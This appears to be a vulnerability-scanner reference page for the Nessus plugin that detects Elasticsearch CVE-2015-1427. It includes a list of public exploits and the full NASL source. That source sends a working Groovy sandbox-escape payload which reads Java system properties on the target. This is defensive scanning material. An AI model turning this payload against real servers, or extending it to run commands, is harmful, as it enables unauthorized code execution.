Elasticsearch Groovy Script RCE - Nessus

High   Plugin ID: 81816

This page contains detailed information about the Elasticsearch Groovy Script RCE Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 81816
Name: Elasticsearch Groovy Script RCE
Filename: elasticsearch_rce_CVE-2015-1427.nasl
Vulnerability Published: 2015-12-09
This Plugin Published: 2015-03-13
Last Modification Time: 2022-03-28
Plugin Version: 1.15
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: elasticsearch_detect.nbin
Required KB Items [?]: installed_sw/Elasticsearch

Vulnerability Information


Severity: High
Vulnerability Published: 2015-12-09
Patch Published: 2015-02-11
CVE [?]: CVE-2015-1427
CPE [?]: cpe:/a:elasticsearch:elasticsearch
Exploited by Malware: True

Synopsis

The remote web server hosts a Java application that is affected by a remote code execution vulnerability.

Description

The Elasticsearch application hosted on the remote web server is affected by a remote code execution vulnerability due to unspecified flaws in the Groovy script engine. A remote unauthenticated attacker, using a specially crafted request, can escape the sandbox and execute arbitrary Java code. A successful attack could allow the user to gain a remote shell or manipulate files on the remote system.

Solution

Upgrade to version 1.3.8 / 1.4.3 or later, or disable scripting.

Public Exploits


Target Network Port(s): 9200
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Elasticsearch Groovy Script RCE vulnerability:

  1. Metasploit: exploit/multi/elasticsearch/search_groovy_script
    [ElasticSearch Search Groovy Sandbox Bypass]
  2. Exploit-DB: exploits/linux/remote/36337.py
    [EDB-36337: ElasticSearch - Remote Code Execution]
  3. Exploit-DB: exploits/java/remote/36415.rb
    [EDB-36415: ElasticSearch - Search Groovy Sandbox Bypass (Metasploit)]
  4. GitHub: https://github.com/0ps/pocassistdb
    [CVE-2015-1427]
  5. GitHub: https://github.com/NCSU-DANCE-Research-Group/CDL
    [CVE-2015-1427]
  6. GitHub: https://github.com/R0B1NL1N/E-x-p-l-o-i-t-s
    [CVE-2015-1427]
  7. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2015-1427]
  8. GitHub: https://github.com/XiphosResearch/exploits
    [CVE-2015-1427]
  9. GitHub: https://github.com/amcai/myscan
    [CVE-2015-1427]
  10. GitHub: https://github.com/bigblackhat/oFx
    [CVE-2015-1427]
  11. GitHub: https://github.com/cyberharsh/Groovy-scripting-engine-CVE-2015-1427
    [CVE-2015-1427]
  12. GitHub: https://github.com/fengjixuchui/RedTeamer
    [CVE-2015-1427]
  13. GitHub: https://github.com/gitrobtest/Java-Security
    [CVE-2015-1427]
  14. GitHub: https://github.com/h3inzzz/cve2015_1427
    [CVE-2015-1427: PoC for CVE-2015_1427]
  15. GitHub: https://github.com/hktalent/myhktools
    [CVE-2015-1427]
  16. GitHub: https://github.com/jweny/pocassistdb
    [CVE-2015-1427]
  17. GitHub: https://github.com/lp008/Hack-readme
    [CVE-2015-1427]
  18. GitHub: https://github.com/marcocesarato/Shell-BotKiller
    [CVE-2015-1427]
  19. GitHub: https://github.com/shildenbrand/Exploits
    [CVE-2015-1427]
  20. GitHub: https://github.com/t0kx/exploit-CVE-2015-1427
    [CVE-2015-1427: Elasticsearch 1.4.0 < 1.4.2 Remote Code Execution exploit and vulnerable container ...]
  21. GitHub: https://github.com/waqeen/cyber_security21
    [CVE-2015-1427]
  22. GitHub: https://github.com/cved-sources/cve-2015-1427
    [CVE-2015-1427: Cve-2015-1427]
  23. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2015-1427
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C
CVSS Base Score:7.5 (High)
Impact Subscore:6.4
Exploitability Subscore:10.0
CVSS Temporal Score:6.5 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.5 (Medium)

Go back to menu.

Plugin Source


This is the elasticsearch_rce_CVE-2015-1427.nasl nessus plugin source code. This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(81816);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");

  script_cve_id("CVE-2015-1427");
  script_bugtraq_id(72585);
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Elasticsearch Groovy Script RCE");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a Java application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Elasticsearch application hosted on the remote web server is
affected by a remote code execution vulnerability due to unspecified
flaws in the Groovy script engine. A remote unauthenticated attacker, 
using a specially crafted request, can escape the sandbox and execute 
arbitrary Java code. A successful attack  could allow the user to 
gain a remote shell or manipulate files on the remote system.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2015/Feb/92");
  script_set_attribute(attribute:"see_also", value:"https://github.com/elastic/elasticsearch/issues/9655");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.3.8 / 1.4.3 or later, or disable scripting.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1427");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Search Groovy Sandbox Bypass');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/12/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/02/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:elasticsearch:elasticsearch");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("elasticsearch_detect.nbin");
  script_require_keys("installed_sw/Elasticsearch");
  script_require_ports("Services/www", 9200);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

app = "Elasticsearch";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:9200);

install = get_single_install(
  app_name            : app,
  port                : port
);

dir  = install['path'];
url  = build_url(qs:dir, port:port);
vuln = FALSE;

data = '{
  "size": 1,
  "query": {
    "match_all": {}
  },
  "script_fields": {
    "myscript": {
      "script": "java.lang.Math.class.forName(\\"java.lang.System\\").getProperties()"
    }
  }
}';

res = http_send_recv3(
  method:'POST',
  port:port,
  item:dir+"_search?pretty",
  content_type:'application/json',
  data:data,
  exit_on_fail:TRUE
);

vuln = (
  "200 OK"                           >< res[0] &&
  "java.specification.version"       >< res[2] &&
  "java.version"                     >< res[2]
);

if (!vuln) 
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);

attack = build_url(qs:attack, port:port);
security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  cmd        : "System.getProperties()",
  output     : res[2],
  line_limit : 25,
  request    : make_list(attack)
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/elasticsearch_rce_CVE-2015-1427.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\elasticsearch_rce_CVE-2015-1427.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/elasticsearch_rce_CVE-2015-1427.nasl

Go back to menu.

How to Run


Here is how to run the Elasticsearch Groovy Script RCE as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Elasticsearch Groovy Script RCE plugin ID 81816.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl elasticsearch_rce_CVE-2015-1427.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a elasticsearch_rce_CVE-2015-1427.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - elasticsearch_rce_CVE-2015-1427.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state elasticsearch_rce_CVE-2015-1427.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 84409 - FreeBSD : elasticsearch -- remote OS command execution via Groovy scripting engine (026759e0-1ba3-11e5-b43d-002590263bf5)
  • 119499 - Elasticsearch ESA-2015-06
  • 76572 - Elasticsearch 'source' Parameter RCE
  • 105752 - Elasticsearch Transport Protocol Unspecified Remote Code Execution
  • 83147 - Debian DSA-3241-1 : elasticsearch - security update
  • 84411 - FreeBSD : elasticsearch and logstash -- remote OS command execution via dynamic scripting (43ac9d42-1b9a-11e5-b43d-002590263bf5)
  • 84413 - FreeBSD : elasticsearch -- directory traversal attack with site plugins (a71e7440-1ba3-11e5-b43d-002590263bf5)
  • 85245 - FreeBSD : elasticsearch -- directory traversal attack via snapshot API (ae8c09cb-32da-11e5-a4a5-002590263bf5)
  • 85246 - FreeBSD : elasticsearch -- remote code execution via transport protocol (fb3668df-32d7-11e5-a4a5-002590263bf5)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file elasticsearch_rce_CVE-2015-1427.nasl version 1.15. For more plugins, visit the Nessus Plugin Library.

Go back to menu.